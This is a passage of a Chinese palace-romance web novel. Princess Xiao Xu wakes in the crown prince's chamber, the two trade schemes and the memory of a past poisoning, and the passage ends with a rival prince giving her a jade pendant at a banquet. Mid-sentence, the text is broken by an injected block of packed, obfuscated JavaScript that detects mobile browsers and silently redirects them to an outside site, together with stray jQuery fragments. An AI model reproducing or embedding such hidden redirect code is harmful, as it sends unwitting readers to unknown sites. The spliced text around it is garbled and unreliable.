轿辇内,太子凤目半敛,注视着倒在他身前,浑身乏力的萧旭,淡然开口道:“你来这里,也是为了查萧钰的事情?”
萧旭头昏脑胀,意识模糊,缓缓闭上眼,没有回应。
刘承胥面不改色,揽腰提起她逐渐下沉的身子,一点一点掰开她深陷掌心的指甲,在触及到她掌心的潮热时,终于眉心轻蹙道:“竟然真的病了?”
因为踏上轿辇的是承前殿宫人,为了永安公主的声誉,刘承胥没有直接将她送回蘅月阁,而是安置在承恩殿内殿。
萧旭也不知道自己什么时候是真的睡去,只知道醒来的时候,是在一个完全陌生的地方。
玄色帷幔层层垂落,殿内虽烛火通明,她睁开眼时,隔着层层叠叠的轻纱,也只能勉强分辨出一个模糊的雪色背影。
他的影子落于眼前轻纱之上,好像很近,萧旭缓缓抬起手去碰,才知道他很远。
或许是感知到身后的目光,刘承胥转过身来,见她已然半撑着身子坐了起来,解释道:“权宜之计,不得不留公主在这里过夜。蘅月阁孤已经遣内侍官去过了,公主安心在这里养病即可。”
他的声音淡淡的,仿若在说一件无关紧要的小事。
可若是被人发现,于萧旭而言,却是名声有损的大事。
见萧旭不说话,他放下手中书卷道:“公主放心,此事绝不会为外人所知晓。”
顿了顿,他复又补充道:“或许,相较而言,你应该更不想让人知道永安公主出现在长秋宫的事,对吗?”
萧旭收回眼,没有回答他的话,只是问道:“这里是殿下的寝宫?”
刘承胥浅浅应声。
萧旭放下心来,却才注意到自己身上的宫人服饰竟不知何时被换了下来,她犹疑道:“殿下,可有看见我的衣裙?”
刘承胥闻言,拄着手杖,向她走近了些。
骨节分明的一只手缓缓抬起,仿若要去掀开眼前帷幔。
指腹却只是于额际轻点,他恍然大悟道:“孤让她们拿去洗了。”
他未再靠近,一袭雪衣背对她而立,宽大外袍垂落时,将他手杖完全掩住,看起来与常人无异。
在她心中,北汉太子,还不至于是个无耻之徒。
只是那套宫裙是朝盈的,未免多生事端,还是要问个究竟得好。
萧旭凝望着他的背影,状似无意道:“你我早晚是夫妻,殿下不必如此。”
轻抚白玉扳指的手微微一滞。
萧旭继续道:“其实,我之所以会出现在长秋宫,是为了殿下。”
这才听他淡然出声道:“睡醒了,想好如何来诓骗孤了?”
萧旭一时怔住,她收回眼,此间是铺天盖地的玄色,难免压抑,她索性闭上眼,缓缓开口道:“明眼人都看得出来,陛下有心栽培翊王,殿下的太子之位,并不稳固。而要想让翊王失势,首先,就是要让他代管后宫的母妃失势。”
闻及此言,刘承胥不禁折身看向床榻之上的萧旭。
大病一场,她的脸色苍白如纸,却没有丝毫松懈,躺在他的床榻上,冷静的模样与数年前泡在冰桶里的那张脸重叠在一起。
向来如春水般平静的眼底几不可察地泛起了极淡的一层涟漪。
萧旭未曾察觉,只是继续道:“长秋宫是贵妃从前的寝宫,多年前,殿下的姨母梅妃也曾与她同住长秋宫,梅妃意外亡故,此后贵妃便请陛下将那里封了起来,想来里面,一定有什么不可告人的秘密。”
刘承胥转过身来,却没有说话。
萧旭不禁睁开眼,再度看向他。
她在等他的答复。
殿内灯火通明,她却看不透他。
萧旭疑惑道:“清风阁里,殿下说要与我详谈,不就是想利用我南国公主的身份,巩固太子之位吗?”
刘承胥慢条斯理道:“既然知道是利用,又为什么要帮孤?”
萧旭杏眼迷蒙,柔声道:“一荣俱荣,一损俱损,既然注定要成为殿下的妻,就应该为殿下考虑。”
她自认为自己扮起柔弱的样子最是楚楚可怜,甚至捂嘴轻咳了两声,额际恰到好处地垂落下一缕青丝。
可是刘承胥竟然不吃这一套。
一定是他看得不够清楚。
萧旭如是想着,掀开眼前轻纱,定定仰望着他。
而他居高临下,凝视着她的如水杏眼。
眸色深深,情绪不明,眼底的泪痣,顿成无底的深渊。
她怎么差点忘了,他可是能与皇兄齐名的北汉太子。
萧旭本能要往后缩,却被他一把揽至身前。
云雾白茶的香气将她裹挟。
近在咫尺,萧旭再抬眼,杏眼中带了几分无措。
却在看清他眼底渐起的灼热后,转化为了然的笑意。
她回揽住他的腰,另一只手自然接过他的手杖。
手杖应声落地。
他顺势半跪在床榻边,手撑在榻上,带着松木香气的鼻息落于萧旭的耳畔,他低声道:“不要骗孤。”
“你到底,去长秋宫做什么?”
萧旭只是笑笑,眼神无辜道:“殿下逾矩了。”
刘承胥注视着萧旭的眸子片刻,喉结微动,右腿抵在榻边,状似无力,倾身而下。
眼底情绪不明,反覆住萧旭腰间的手,温热的鼻息沿着她的耳廓缓缓向下。
萧旭身子一颤,不敢看他,冷声道:“殿下还记得当年的那碗红豆粥吗?”
刘承胥手上动作一滞。
萧旭方才继续道:“下毒之人用心良苦,知道就算殿下捡回一条命,也会落下严重的眼疾。”
萧旭深吸一口气,坦白道:“我必须要找到药方,才能彻底解毒。”
刘承胥缓缓松开萧旭的手,翻身躺在萧旭身侧,他没有说话,萧旭不知道他此刻在想些什么。
许久后,他才道:“你放心,害过我们的人,孤一个都不会放过。”
再醒来已是日上三竿。
萧旭睡得并不好,她不习惯将自己全然交付给一个完全陌生的环境,更何况身边还是整个北汉除了北帝以外拥有最高权势的人。
她深知他城府极深,不是那么好应付。
这个时辰他应该早朝未退,她可不想再与他共度一夜。
念及此,她缓缓起身,掀开帷幔打量四周。
他应该提前打过招呼,殿内寂静,看不见一个宫人。
旭日透过窗棂洒进来,落了满地的碎光,一直铺展到榻前衣架旁。
萧旭没有找见自己来时的衣裙,衣架上仅搭了一件雪色鹤氅。
萧旭眉间微蹙,迟疑片刻,却还是取下鹤氅,披在身上,向殿外走去。
殿外只有一个宫人,宫人将头埋得很低。
萧旭放缓声音,柔声问道:“姑娘,请问能为我寻一套宫人的衣裙吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938423|213786||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
非晚怕被萧旭认出来,故意将头埋得很低,在听见萧旭问话时,也只是想快些应付她,所以待殿下回来时,她才意识到自己犯了错。
她跪在地上,没有一句解释,她知道殿下从来只看结果。
而刘承胥难得早归,却只看见空无一人的承恩殿内殿。
窗外日光热烈而明亮,斜斜洒落在他的身上,只是这融雪的日光,却并未与他增添半分暖意。
萧旭一病就是好几日,期间推脱掉了宫里所有的宴会邀请。
只是今日是北帝为她设下的接风宴,她再无法推辞。
竹西看着萧旭依旧苍白的一张脸,特意择了颜色明艳的口脂为她抹上,却还是觉得不够,又为她选了条烟紫色彩绣海棠纹月华裙,念着萧旭怕冷,还在外面给她披了件雪色鹤氅。
这样一来,萧旭不仅少了病态,相较于素日,更多了几分明媚。
竹西看着这样的萧旭,神情竟有几分恍惚,只是萧旭并未察觉。
接风宴设在凝云阁,天气尚寒,阁前水榭并未开放,是而殿内也不冷,萧旭踏进殿时,甚至感受到了如春的暖意。
所以对于迎面而来的男子,她也少了几分戒备。
她到的时辰尚早,殿内并没有几个人,而男子脸上带着和煦的笑,给人如沐春风之感。
竹西向她引见道:“这是大将军沈阔次子,沈清欢。”
萧旭恍然想起年少时的许多个午后,不禁问道:“沈公子,清歌可还好?”
沈清欢诧异道:“公主竟然认识家姐?”
多年前,北后还在时,沈清歌作为沈家嫡女,经常出入皇后寝宫,她也是唯一一个不排斥萧旭兄妹的北汉世家女。
沈清歌是萧旭在北汉见过的,最澄澈纯粹的女子,洒脱随性,脸上永远带着笑,仿佛世间就没有能让她忧心的事情。
只是沈清欢在提及这样的一个女子时,脸上竟生出几分愁绪,“家姐年前受了风寒,断断续续一直没见好。”
萧旭垂下眼,声音轻了些,“那真是可惜,还以为今日能见到她。”
“待清歌好后,本王定会带她来向公主请安。”
萧旭还沉浸在对沈清歌的回忆里,身后却传来刘承焕的声音,萧旭这才意识到,秘档里提及的静安王妃沈氏,竟然就是沈清歌。
刘承焕今日依旧穿着紫色常服,只是颜色相较那晚看到他时稍浅了一些,他背光站在阴影里,浅色也不能使他明亮起来,只有那双琥珀色瞳仁,无形中凝起一团幽深焰火,像是要将落于他眼底的一切无声覆灭掉。
萧旭很快别开眼,收敛起眼底的情绪,等待竹西为她引见,“公主,这是二殿下,静安王。”
萧旭复才抬眼,却见他凉薄的唇角微微扬起,笑意看起来很浅,不达眼底。
他轻声道:“初次见面,不知公主喜好,这份薄礼,还望公主不要嫌弃才是。”
他一面说着,一面示意身后宫人,将托盘呈予萧旭面前。
托盘上有一个匣子,萧旭扫了一眼,笑道:“静安王有心,本宫感激还来不及,怎么会嫌弃?”
刘承焕道:“那么公主,不打开看看?”
沈清欢亦附和道:“我也很好奇,殿下会送什么样的礼物。”
萧旭注视着托盘上的匣子,迟疑片刻,缓缓打开:
里面安静躺着的,竟是她那日探访素玉坊时,刻意留下的玉佩。